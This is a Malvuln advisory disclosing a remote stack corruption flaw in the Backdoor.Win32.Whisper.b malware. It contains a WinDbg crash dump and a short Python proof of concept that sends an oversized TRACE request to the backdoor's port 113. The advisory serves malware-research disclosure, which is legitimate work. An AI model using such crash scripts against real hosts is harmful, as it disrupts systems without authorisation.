Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/a0edb91f62c8c083ec35b32a922168d1.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Whisper.b Vulnerability: Remote Stack Corruption Description: Whisper.b listens on TCP port 113 and connects to port 6667, deletes itself drops executable named rundll32.exe in Windows\System dir. The malware is prone to stack corruption issues when receiving unexpected characters of random sizes. Type: PE32 MD5: a0edb91f62c8c083ec35b32a922168d1 Vuln ID: MVID-2021-0039 Dropped files: rundll32.exe ASLR: False DEP: False Safe SEH: True Disclosure: 01/19/2021 Memory Dump: (1afc.1284): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=e026bf39 edx=00000000 esi=00000003 edi=00000003 eip=773ced3c esp=04a4f65c ebp=04a4f7ec iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 773ced3c c21400 ret 14h 0:005> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for rundll32.exe *** ERROR: Module load completed but symbols could not be loaded for rundll32.exe Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: +2f e48240ad ?? ??? EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: e48240ad ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: e48240ad Attempt to read from address e48240ad PROCESS_NAME: rundll32.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: e48240ad READ_ADDRESS: e48240ad FOLLOWUP_IP: ntdll!__RtlUserThreadStart+2f 773c4a77 e988ed0300 jmp ntdll!__RtlUserThreadStart+0x3edbc (77403804) FAILED_INSTRUCTION_ADDRESS: +2f e48240ad ?? ??? MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 LAST_CONTROL_TRANSFER: from 773c4a77 to e48240ad FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_STACK_CORRUPTION PRIMARY_PROBLEM_CLASS: BAD_INSTRUCTION_PTR_EXPLOITABLE DEFAULT_BUCKET_ID: BAD_INSTRUCTION_PTR_EXPLOITABLE IP_ON_HEAP: e48240ad The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. STACK_TEXT: WARNING: Frame IP not in any known module. Following frames may be wrong. 04a4ff94 773c4a77 00000000 3af22017 00000000 0xe48240ad 736e6e20 cd614028 41d249d6 3dfc3391 92dff545 ntdll!__RtlUserThreadStart+0x2f 736e6e24 41d249d6 3dfc3391 92dff545 cd55d73c 0xcd614028 736e6e28 3dfc3391 92dff545 cd55d73c 4f5ef4ed 0x41d249d6 736e6e2c 92dff545 cd55d73c 4f5ef4ed 81eb06aa 0x3dfc3391 736e6e30 cd55d73c 4f5ef4ed 81eb06aa 7f29e23d 0x92dff545 736e6e34 4f5ef4ed 81eb06aa 7f29e23d cd551d8d 0xcd55d73c 736e6e38 81eb06aa 7f29e23d cd551d8d 4e19a09f 0x4f5ef4ed 736e6e3c 7f29e23d cd551d8d 4e19a09f 860534a8 0x81eb06aa 736e6e40 cd551d8d 4e19a09f 860534a8 fba5b239 0x7f29e23d 736e6e44 4e19a09f 860534a8 fba5b239 cd4e1429 0xcd551d8d 736e6e48 860534a8 fba5b239 cd4e1429 42473b1b 0x4e19a09f 736e6e4c fba5b239 cd4e1429 42473b1b f6b1c781 0x860534a8 736e6e50 cd4e1429 42473b1b f6b1c781 10d3e67d 0xfba5b239 736e6e54 42473b1b f6b1c781 10d3e67d cd3fa923 0xcd4e1429 736e6e58 f6b1c781 10d3e67d cd3fa923 46667fd6 0x42473b1b 736e6e5c 10d3e67d cd3fa923 46667fd6 4a9e6faa 0xf6b1c781 736e6e60 cd3fa923 46667fd6 4a9e6faa a4020484 0x10d3e67d 736e6e64 46667fd6 4a9e6faa a4020484 cd3306f1 0xcd3fa923 736e6e68 4a9e6faa a4020484 cd3306f1 47da0c2e 0x46667fd6 736e6e6c a4020484 cd3306f1 47da0c2e e555a9a4 0x4a9e6faa 736e6e70 cd3306f1 47da0c2e e555a9a4 05adc8fa 0xa4020484 736e6e74 47da0c2e e555a9a4 05adc8fa cd317e1a 0xcd3306f1 736e6e78 e555a9a4 05adc8fa cd317e1a 40e92213 0x47da0c2e 736e6e7c 05adc8fa cd317e1a 40e92213 19029ab0 0xe555a9a4 736e6e80 cd317e1a 40e92213 19029ab0 bae1e59b 0x5adc8fa 736e6e84 40e92213 19029ab0 bae1e59b cd277ed0 0xcd317e1a 736e6e88 19029ab0 bae1e59b cd277ed0 4f3b741b 0x40e92213 736e6e8c bae1e59b cd277ed0 4f3b741b bf22908d 0x19029ab0 736e6e90 cd277ed0 4f3b741b bf22908d 3b2b3d24 0xbae1e59b 736e6e94 4f3b741b bf22908d 3b2b3d24 cd17f8c4 0xcd277ed0 736e6e98 bf22908d 3b2b3d24 cd17f8c4 46fe8509 0x4f3b741b 736e6e9c 3b2b3d24 cd17f8c4 46fe8509 254058a4 0xbf22908d 736e6ea0 cd17f8c4 46fe8509 254058a4 3001decb 0x3b2b3d24 736e6ea4 46fe8509 254058a4 3001decb cd145a4e 0xcd17f8c4 736e6ea8 254058a4 3001decb cd145a4e 4324c135 0x46fe8509 736e6eac 3001decb cd145a4e 4324c135 e69f8e92 0x254058a4 736e6eb0 cd145a4e 4324c135 e69f8e92 b345abf4 0x3001decb 736e6eb4 4324c135 e69f8e92 b345abf4 cd11fbdc 0xcd145a4e 736e6eb8 e69f8e92 b345abf4 cd11fbdc 4b1f854b 0x4324c135 736e6ebc b345abf4 cd11fbdc 4b1f854b 6ad3aa94 0xe69f8e92 736e6ec0 cd11fbdc 4b1f854b 6ad3aa94 3c872390 0xb345abf4 736e6ec4 4b1f854b 6ad3aa94 3c872390 cd112693 0xcd11fbdc 736e6ec8 6ad3aa94 3c872390 cd112693 419dc5c2 0x4b1f854b 736e6ecc 3c872390 cd112693 419dc5c2 c5b98ea4 0x6ad3aa94 736e6ed0 cd112693 419dc5c2 c5b98ea4 a8a2743f 0x3c872390 736e6ed4 419dc5c2 c5b98ea4 a8a2743f cd043531 0xcd112693 736e6ed8 c5b98ea4 a8a2743f cd043531 4153c0d3 0x419dc5c2 736e6edc a8a2743f cd043531 4153c0d3 595b94bc 0xc5b98ea4 736e6ee0 cd043531 4153c0d3 595b94bc 5f42c9f4 0xa8a2743f 736e6ee4 4153c0d3 595b94bc 5f42c9f4 ccd78f11 0xcd043531 736e6ee8 595b94bc 5f42c9f4 ccd78f11 4f523611 0x4153c0d3 736e6eec 5f42c9f4 ccd78f11 4f523611 19c5fc80 0x595b94bc 736e6ef0 ccd78f11 4f523611 19c5fc80 7d50770a 0x5f42c9f4 736e6ef4 4f523611 19c5fc80 7d50770a ccd1e29b 0xccd78f11 736e6ef8 19c5fc80 7d50770a ccd1e29b 4cf3723e 0x4f523611 736e6efc 7d50770a ccd1e29b 4cf3723e 5793579e 0x19c5fc80 736e6f00 ccd1e29b 4cf3723e 5793579e 6b53dd4c 0x7d50770a 736e6f04 4cf3723e 5793579e 6b53dd4c cccbe7ef 0xccd1e29b 736e6f08 5793579e 6b53dd4c cccbe7ef 4b50c5a2 0x4cf3723e 736e6f0c 6b53dd4c cccbe7ef 4b50c5a2 da8387bb 0x5793579e 736e6f10 cccbe7ef 4b50c5a2 da8387bb 8405031f 0x6b53dd4c 736e6f14 4b50c5a2 da8387bb 8405031f ccc2f326 0xcccbe7ef 736e6f18 da8387bb 8405031f ccc2f326 47ed903b 0x4b50c5a2 736e6f1c 8405031f ccc2f326 47ed903b bdc41090 0xda8387bb 736e6f20 ccc2f326 47ed903b bdc41090 b419ea3e 0x8405031f 736e6f24 47ed903b bdc41090 b419ea3e ccc200e6 0xccc2f326 736e6f28 bdc41090 b419ea3e ccc200e6 42c4b62a 0x47ed903b 736e6f2c b419ea3e ccc200e6 42c4b62a fae8138c 0xbdc41090 736e6f30 ccc200e6 42c4b62a fae8138c c13f8cfb 0xb419ea3e 736e6f34 42c4b62a fae8138c c13f8cfb ccc1f553 0xccc200e6 736e6f38 fae8138c c13f8cfb ccc1f553 4f394841 0x42c4b62a 736e6f3c c13f8cfb ccc1f553 4f394841 7449f9a3 0xfae8138c 736e6f40 ccc1f553 4f394841 7449f9a3 e01900f9 0xc13f8cfb 736e6f44 4f394841 7449f9a3 e01900f9 ccc1dc5b 0xccc1f553 736e6f48 7449f9a3 e01900f9 ccc1dc5b 43bc0790 0x4f394841 736e6f4c e01900f9 ccc1dc5b 43bc0790 c8f17d9a 0x7449f9a3 736e6f50 ccc1dc5b 43bc0790 c8f17d9a d621268e 0xe01900f9 736e6f54 43bc0790 c8f17d9a d621268e ccc05de9 0xccc1dc5b 736e6f58 c8f17d9a d621268e ccc05de9 4628d666 0x43bc0790 736e6f5c d621268e ccc05de9 4628d666 26640782 0xc8f17d9a 736e6f60 ccc05de9 4628d666 26640782 869a8aeb 0xd621268e 736e6f64 4628d666 26640782 869a8aeb ccae28bc 0xccc05de9 736e6f68 26640782 869a8aeb ccae28bc 4e9d874c 0x4628d666 736e6f6c 869a8aeb ccae28bc 4e9d874c 18bfb3a4 0x26640782 736e6f70 ccae28bc 4e9d874c 18bfb3a4 4b6a2c12 0x869a8aeb 736e6f74 4e9d874c 18bfb3a4 4b6a2c12 ccac7724 0xccae28bc 736e6f78 18bfb3a4 4b6a2c12 ccac7724 404b732a 0x4e9d874c 736e6f7c 4b6a2c12 ccac7724 404b732a e34e7e97 0x18bfb3a4 736e6f80 ccac7724 404b732a e34e7e97 b347d056 0x4b6a2c12 736e6f84 404b732a e34e7e97 b347d056 ccac4ba9 0xccac7724 736e6f88 e34e7e97 b347d056 ccac4ba9 4d608700 0x404b732a 736e6f8c b347d056 ccac4ba9 4d608700 45d74286 0xe34e7e97 736e6f90 ccac4ba9 4d608700 45d74286 b6a77b95 0xb347d056 736e6f94 4d608700 45d74286 b6a77b95 cca03606 0xccac4ba9 736e6f98 45d74286 b6a77b95 cca03606 41766646 0x4d608700 736e6f9c b6a77b95 cca03606 41766646 b3f90cb2 0x45d74286 736e6fa0 cca03606 41766646 b3f90cb2 2f8f31ea 0xb6a77b95 736e6fa4 41766646 b3f90cb2 2f8f31ea cc9882c1 0xcca03606 736e6fa8 b3f90cb2 2f8f31ea cc9882c1 42897b24 0x41766646 736e6fac 2f8f31ea cc9882c1 42897b24 6a0028a1 0xb3f90cb2 736e6fb0 cc9882c1 42897b24 6a0028a1 46c8b036 0x2f8f31ea 736e6fb4 42897b24 6a0028a1 46c8b036 cc858d44 0xcc9882c1 736e6fb8 6a0028a1 46c8b036 cc858d44 4af581c3 0x42897b24 736e6fbc 46c8b036 cc858d44 4af581c3 faecc28f 0x6a0028a1 736e6fc0 cc858d44 4af581c3 faecc28f e9aecb98 0x46c8b036 736e6fc4 4af581c3 faecc28f e9aecb98 cc6f2aa6 0xcc858d44 736e6fc8 faecc28f e9aecb98 cc6f2aa6 4638c91c 0x4af581c3 736e6fcc e9aecb98 cc6f2aa6 4638c91c 1ef4e9a4 0xfaecc28f 736e6fd0 cc6f2aa6 4638c91c 1ef4e9a4 385e8c97 0xe9aecb98 736e6fd4 4638c91c 1ef4e9a4 385e8c97 cc6b27e2 0xcc6f2aa6 736e6fd8 1ef4e9a4 385e8c97 cc6b27e2 4fc68b92 0x4638c91c 736e6fdc 385e8c97 cc6b27e2 4fc68b92 29ba23b6 0x1ef4e9a4 736e6fe0 cc6b27e2 4fc68b92 29ba23b6 27b5127f 0x385e8c97 736e6fe4 4fc68b92 29ba23b6 27b5127f cc5f236c 0xcc6b27e2 736e6fe8 29ba23b6 27b5127f cc5f236c 4144a4f9 0x4fc68b92 736e6fec 27b5127f cc5f236c 4144a4f9 07085388 0x29ba23b6 736e6ff0 cc5f236c 4144a4f9 07085388 55d02d18 0x27b5127f 736e6ff4 4144a4f9 07085388 55d02d18 cc5d04d0 0xcc5f236c 736e6ff8 07085388 55d02d18 cc5d04d0 46030552 0x4144a4f9 736e6ffc 55d02d18 cc5d04d0 46030552 c3a32f81 0x7085388 736e7000 cc5d04d0 46030552 c3a32f81 30c4b360 0x55d02d18 736e7004 46030552 c3a32f81 30c4b360 cc4f0483 0xcc5d04d0 736e7008 c3a32f81 30c4b360 cc4f0483 4dcdc0cd 0x46030552 736e700c 30c4b360 cc4f0483 4dcdc0cd 6cdf1088 0xc3a32f81 736e7010 cc4f0483 4dcdc0cd 6cdf1088 fe776960 0x30c4b360 736e7014 4dcdc0cd 6cdf1088 fe776960 cc3c15b2 0xcc4f0483 736e7018 6cdf1088 fe776960 cc3c15b2 4f95c8c0 0x4dcdc0cd 736e701c fe776960 cc3c15b2 4f95c8c0 bbba8594 0x6cdf1088 736e7020 cc3c15b2 4f95c8c0 bbba8594 8caad0c1 0xfe776960 736e7024 4f95c8c0 bbba8594 8caad0c1 cc35a746 0xcc3c15b2 736e7028 bbba8594 8caad0c1 cc35a746 4673bb90 0x4f95c8c0 736e702c 8caad0c1 cc35a746 4673bb90 e10286a2 0xbbba8594 736e7030 cc35a746 4673bb90 e10286a2 1bde9afc 0x8caad0c1 736e7034 4673bb90 e10286a2 1bde9afc cc2ab78b 0xcc35a746 736e7038 e10286a2 1bde9afc cc2ab78b 43587097 0x4673bb90 736e703c 1bde9afc cc2ab78b 43587097 b417bbaa 0xe10286a2 736e7040 cc2ab78b 43587097 b417bbaa 9aa02c69 0x1bde9afc 736e7044 43587097 b417bbaa 9aa02c69 cc26c33f 0xcc2ab78b 736e7048 b417bbaa 9aa02c69 cc26c33f 41163379 0x43587097 736e704c 9aa02c69 cc26c33f 41163379 b856f991 0xb417bbaa 736e7050 cc26c33f 41163379 b856f991 34dbfe2b 0x9aa02c69 736e7054 41163379 b856f991 34dbfe2b cc20997b 0xcc26c33f 736e7058 b856f991 34dbfe2b cc20997b 470c37e8 0x41163379 736e705c 34dbfe2b cc20997b 470c37e8 d3eada87 0xb856f991 736e7060 cc20997b 470c37e8 d3eada87 439845b5 0x34dbfe2b 736e7064 470c37e8 d3eada87 439845b5 cc18eff2 0xcc20997b 736e7068 d3eada87 439845b5 cc18eff2 490f0bcc 0x470c37e8 736e706c 439845b5 cc18eff2 490f0bcc 9b5bf8ab 0xd3eada87 736e7070 cc18eff2 490f0bcc 9b5bf8ab a3fe95de 0x439845b5 736e7074 490f0bcc 9b5bf8ab a3fe95de cc135cdc 0xcc18eff2 736e7078 9b5bf8ab a3fe95de cc135cdc 45d4e588 0x490f0bcc 736e707c a3fe95de cc135cdc 45d4e588 6c919999 0x9b5bf8ab 736e7080 cc135cdc 45d4e588 6c919999 6c4993e7 0xa3fe95de 736e7084 45d4e588 6c919999 6c4993e7 cc11a7bc 0xcc135cdc 736e7088 6c919999 6c4993e7 cc11a7bc 45990818 0x45d4e588 736e708c 6c4993e7 cc11a7bc 45990818 9681eb87 0x6c919999 736e7090 cc11a7bc 45990818 9681eb87 c6be3f94 0x6c4993e7 736e7094 45990818 9681eb87 c6be3f94 cc0abbe7 0xcc11a7bc 736e7098 9681eb87 c6be3f94 cc0abbe7 4bec1d7f 0x45990818 736e709c c6be3f94 cc0abbe7 4bec1d7f 55110b83 0x9681eb87 736e70a0 cc0abbe7 4bec1d7f 55110b83 b153a1d6 0xc6be3f94 736e70a4 4bec1d7f 55110b83 b153a1d6 cc0988d1 0xcc0abbe7 736e70a8 55110b83 b153a1d6 cc0988d1 4a6b9dc9 0x4bec1d7f 736e70ac b153a1d6 cc0988d1 4a6b9dc9 ab2668be 0x55110b83 736e70b0 cc0988d1 4a6b9dc9 ab2668be 2492399f 0xb153a1d6 736e70b4 4a6b9dc9 ab2668be 2492399f cc07c3fa 0xcc0988d1 736e70b8 ab2668be 2492399f cc07c3fa 4510d5d6 0x4a6b9dc9 736e70bc 2492399f cc07c3fa 4510d5d6 fff52c96 0xab2668be 736e70c0 cc07c3fa 4510d5d6 fff52c96 6bc8d4ae 0x2492399f 736e70c4 4510d5d6 fff52c96 6bc8d4ae cc04b07d 0xcc07c3fa 736e70c8 fff52c96 6bc8d4ae cc04b07d 4b8d7df8 0x4510d5d6 736e70cc 6bc8d4ae cc04b07d 4b8d7df8 e7c036a9 0xfff52c96 736e70d0 cc04b07d 4b8d7df8 e7c036a9 bc145b66 0x6bc8d4ae 736e70d4 4b8d7df8 e7c036a9 bc145b66 cbf31bd1 0xcc04b07d 736e70d8 e7c036a9 bc145b66 cbf31bd1 4a6adeee 0x4b8d7df8 736e70dc bc145b66 cbf31bd1 4a6adeee 4896058e 0xe7c036a9 736e70e0 cbf31bd1 4a6adeee 4896058e 1dbe9ad9 0xbc145b66 736e70e4 4a6adeee 4896058e 1dbe9ad9 cbf26a30 0xcbf31bd1 736e70e8 4896058e 1dbe9ad9 cbf26a30 496fa9ba 0x4a6adeee 736e70ec 1dbe9ad9 cbf26a30 496fa9ba 00e61295 0x4896058e 736e70f0 cbf26a30 496fa9ba 00e61295 b4192c41 0x1dbe9ad9 736e70f4 496fa9ba 00e61295 b4192c41 cbee4159 0xcbf26a30 736e70f8 00e61295 b4192c41 cbee4159 4764294f 0x496fa9ba 736e70fc b4192c41 cbee4159 4764294f 1d0087ae 0xe61295 736e7100 cbee4159 4764294f 1d0087ae 37abef46 0xb4192c41 736e7104 4764294f 1d0087ae 37abef46 cbc0abbe 0xcbee4159 736e7108 1d0087ae 37abef46 cbc0abbe 46e4d0ca 0x4764294f 736e710c 37abef46 cbc0abbe 46e4d0ca 0f15eb88 0x1d0087ae 736e7110 cbc0abbe 46e4d0ca 0f15eb88 e53ce83f 0x37abef46 736e7114 46e4d0ca 0f15eb88 e53ce83f cbbabedb 0xcbc0abbe 736e7118 0f15eb88 e53ce83f cbbabedb 4efd1c66 0x46e4d0ca 736e711c e53ce83f cbbabedb 4efd1c66 273adabe 0xf15eb88 736e7120 cbbabedb 4efd1c66 273adabe 6a052189 0xe53ce83f 736e7124 4efd1c66 273adabe 6a052189 cbb4f0fd 0xcbbabedb 736e7128 273adabe 6a052189 cbb4f0fd 481edf94 0x4efd1c66 736e712c 6a052189 cbb4f0fd 481edf94 dbd7e990 0x273adabe 736e7130 cbb4f0fd 481edf94 dbd7e990 23a5fe43 0x6a052189 736e7134 481edf94 dbd7e990 23a5fe43 cbb436b0 0xcbb4f0fd 736e7138 dbd7e990 23a5fe43 cbb436b0 43728ab9 0x481edf94 736e713c 23a5fe43 cbb436b0 43728ab9 0f33358b 0xdbd7e990 736e7140 cbb436b0 43728ab9 0f33358b 865e9c98 0x23a5fe43 736e7144 43728ab9 0f33358b 865e9c98 cbb051b3 0xcbb436b0 736e7148 0f33358b 865e9c98 cbb051b3 454f9567 0x43728ab9 736e714c 865e9c98 cbb051b3 454f9567 8be331ba 0xf33358b 736e7150 cbb051b3 454f9567 8be331ba 5f16c90a 0x865e9c98 736e7154 454f9567 8be331ba 5f16c90a cbb00f6b 0xcbb051b3 736e7158 8be331ba 5f16c90a cbb00f6b 4431f230 0x454f9567 736e715c 5f16c90a cbb00f6b 4431f230 7c92388c 0x8be331ba 736e7160 cbb00f6b 4431f230 7c92388c 0580fc6c 0x5f16c90a 736e7164 4431f230 7c92388c 0580fc6c cba8ca0f 0xcbb00f6b 736e7168 7c92388c 0580fc6c cba8ca0f 4494269a 0x4431f230 736e716c 0580fc6c cba8ca0f 4494269a 64005cb9 0x7c92388c 736e7170 cba8ca0f 4494269a 64005cb9 141d3536 0x580fc6c 736e7174 4494269a 64005cb9 141d3536 cb9ef1fc 0xcba8ca0f 736e7178 64005cb9 141d3536 cb9ef1fc 46761702 0x4494269a 736e717c 141d3536 cb9ef1fc 46761702 2d7b6687 0x64005cb9 736e7180 cb9ef1fc 46761702 2d7b6687 2c STACK_COMMAND: ~5s; .ecxr ; kb SYMBOL_STACK_INDEX: 1 SYMBOL_NAME: ntdll!__RtlUserThreadStart+2f FOLLOWUP_NAME: MachineOwner MODULE_NAME: ntdll IMAGE_NAME: ntdll.dll DEBUG_FLR_IMAGE_TIMESTAMP: 3a21d961 FAILURE_BUCKET_ID: BAD_INSTRUCTION_PTR_EXPLOITABLE_c0000005_ntdll.dll!__RtlUserThreadStart BUCKET_ID: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_STACK_CORRUPTION_BAD_IP_ntdll!__RtlUserThreadStart+2f Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=113 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PACKIT="TRACE /"+"A"*69666+" HTTP/1.1\r\nHost: "+"B"*32000+"\r\n\r\n" s.send(PACKIT) s.close() print("Backdoor.Win32.Whisper.b / Remote Stack Corruption") print("MD5: a0edb91f62c8c083ec35b32a922168d1") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).